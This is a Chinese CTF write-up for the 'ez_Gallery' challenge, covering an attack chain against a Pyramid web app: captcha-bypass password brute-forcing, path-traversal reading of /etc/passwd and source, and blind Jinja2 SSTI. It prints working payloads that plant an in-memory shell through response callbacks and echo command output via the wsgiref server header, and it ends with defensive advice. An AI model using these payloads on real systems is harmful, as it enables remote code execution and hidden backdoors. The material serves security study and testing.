ez_Gallery预期解之内存马挖掘
字数 1112 2025-08-22 12:22:30
Pyramid框架内存马注入与无回显SSTI利用技术详解
1. 环境概述与漏洞背景
本案例基于ez_Gallery题目环境,主要考察以下知识点:
- 绕过验证码的弱密码爆破
- 任意文件读取漏洞利用
- Pyramid框架钩子函数使用
- 无回显SSTI漏洞利用技术
2. 初始渗透阶段
2.1 验证码绕过与弱密码爆破
技术要点:
- 目标登录接口存在验证码但强度不足
- 可使用自动化工具进行爆破
xiapao工具爆破步骤:
- 配置验证码图片链接
- 开启本地验证码识别服务
- 将验证码位置替换为
@xiapao@1@ - 设置线程为1开始爆破
pkav工具爆破方法:
- 添加HTTP请求包
- 加载密码字典
- 配置验证码识别
- 直接发包爆破
2.2 任意文件读取漏洞
登录后访问/home路由,发现URL参数存在任意文件读取漏洞:
file_name = request.params.get('file')
file_path = os.path.join('/app/static/details/', file_name)
利用方法:
- 读取应用源码:
/app/app.py - 读取系统敏感文件:
/etc/passwd等
3. 漏洞代码分析
关键漏洞位于/shell路由的SSTI注入点:
expression = request.GET.get('shellcmd', '')
result = jinja2.Environment(loader=jinja2.BaseLoader()).from_string(expression).render({"request": request})
限制条件:
- 无直接回显(仅返回success/error)
- 黑名单过滤:
.*length.*.*count.*.*[0-9].*
- 环境不出网
- 用户无写入权限
4. 无回显SSTI利用技术
4.1 Pyramid框架钩子函数利用
request对象钩子函数:
add_response_callbackadd_finished_callback
内存马注入原理:
通过SSTI修改请求处理流程,在响应阶段插入恶意代码执行
利用Payload:
{{ cycler.__init__.__globals__.__builtins__['exec'](
"request.add_response_callback(lambda request, response: setattr(response, 'text', __import__('os').popen('whoami').read()))",
{'request': request}
)}}
关键点说明:
- 使用
exec执行Python代码 - 必须传入
{'request': request}以提供上下文 - 通过
setattr修改响应内容
4.2 Header回显技术
技术原理:
修改ServerHandler的server_software属性,将命令执行结果写入HTTP头
利用Payload:
{{ cycler.__init__.__globals__.__builtins__['setattr'](
cycler.__init__.__globals__.__builtins__.__import__('sys').modules['wsgiref'].simple_server.ServerHandler,
'server_software',
cycler.__init__.__globals__.__builtins__.__import__('os').popen('whoami').read()
)}}
5. 防御措施
5.1 修复SSTI漏洞
- 避免直接渲染用户输入
- 使用严格的模板沙箱
- 实现更全面的黑名单过滤
5.2 加固验证机制
- 使用强验证码(如Google reCAPTCHA)
- 实现账户锁定机制
- 强制使用复杂密码
5.3 权限控制
- 最小权限原则
- 文件读取白名单
- 敏感操作二次验证
6. 扩展思考
- 其他Python框架(Flask、Django)的类似漏洞利用
- 无文件内存马持久化技术
- 基于流量特征的防御检测方法
- 无回显漏洞的盲注技术
本技术文档详细分析了Pyramid框架下的内存马注入技术,重点介绍了无回显情况下的两种有效利用方法,可作为Web安全研究和渗透测试的参考材料。